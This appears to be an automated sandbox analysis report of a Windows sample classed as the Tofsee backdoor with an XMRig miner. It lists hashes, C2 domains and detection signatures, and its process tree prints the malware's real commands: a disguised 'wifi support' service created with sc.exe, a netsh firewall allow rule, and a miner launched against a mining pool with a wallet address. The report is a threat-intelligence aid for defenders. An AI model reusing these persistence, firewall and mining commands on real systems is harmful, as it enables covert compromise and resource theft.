Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16-04-2023 03:44

General

  • Target

    file.exe

  • Size

    348KB

  • MD5

    ab34b13392e607a878a108d6705e3907

  • SHA1

    f3af29d68d7c99b594bb2b9de122824eae3ed343

  • SHA256

    e5988d6453c4830066089250a0a014265e6275e2b8598dee940b56b34410cbe6

  • SHA512

    43bc4575fe434ac83a2070ad5faf5b516bdaff2e20230ff6fb193f46bf876b0b7d107a89299353c7754b90ccaa4e4418ade2344258227694bee05e08458e5ebc

  • SSDEEP

    6144:z46ChoCA3cTwoUNwMXGi7BbCu1B8hy0Hbe4:z4LhltTwoUN7XBohtHq4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rksruzce\
      2⤵
        PID:860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aphotrwo.exe" C:\Windows\SysWOW64\rksruzce\
        2⤵
          PID:1488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rksruzce binPath= "C:\Windows\SysWOW64\rksruzce\aphotrwo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rksruzce "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rksruzce
          2⤵
          • Launches sc.exe
          PID:1332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:852
      • C:\Windows\SysWOW64\rksruzce\aphotrwo.exe
        C:\Windows\SysWOW64\rksruzce\aphotrwo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:860

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\aphotrwo.exe

        Filesize

        13.6MB

        MD5

        1d61c337ed77cb2344b8d681d4162b30

        SHA1

        b9089b0487a0f1fade63cae2c3bc9b2f5556f07a

        SHA256

        312c21165d8bd2bedc8d3a66efac008a568c1176eef0a7a6fcdfeeee84b7c890

        SHA512

        53b37f52c067db62a4f597317cf3633c5a3f123ea3c70be0b7357176c915a50b15fb0564fd3953378dffe760fe64b32fe7de272d83f1c1229794df8a913776e0

      • C:\Windows\SysWOW64\rksruzce\aphotrwo.exe

        Filesize

        13.6MB

        MD5

        1d61c337ed77cb2344b8d681d4162b30

        SHA1

        b9089b0487a0f1fade63cae2c3bc9b2f5556f07a

        SHA256

        312c21165d8bd2bedc8d3a66efac008a568c1176eef0a7a6fcdfeeee84b7c890

        SHA512

        53b37f52c067db62a4f597317cf3633c5a3f123ea3c70be0b7357176c915a50b15fb0564fd3953378dffe760fe64b32fe7de272d83f1c1229794df8a913776e0

      • memory/652-88-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-106-0x00000000001D0000-0x00000000001D7000-memory.dmp

        Filesize

        28KB

      • memory/652-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-90-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/652-67-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-91-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-71-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/652-74-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/652-75-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

      • memory/652-78-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-81-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-82-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-83-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-84-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-92-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-86-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-87-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-113-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-89-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-63-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/652-105-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/652-85-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-93-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-94-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-95-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-96-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-97-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/652-98-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/652-101-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/652-102-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/752-66-0x0000000000400000-0x00000000007FC000-memory.dmp

        Filesize

        4.0MB

      • memory/860-123-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-110-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-111-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/860-119-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-121-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-120-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-122-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/860-124-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2044-60-0x0000000000400000-0x00000000007FC000-memory.dmp

        Filesize

        4.0MB

      • memory/2044-56-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB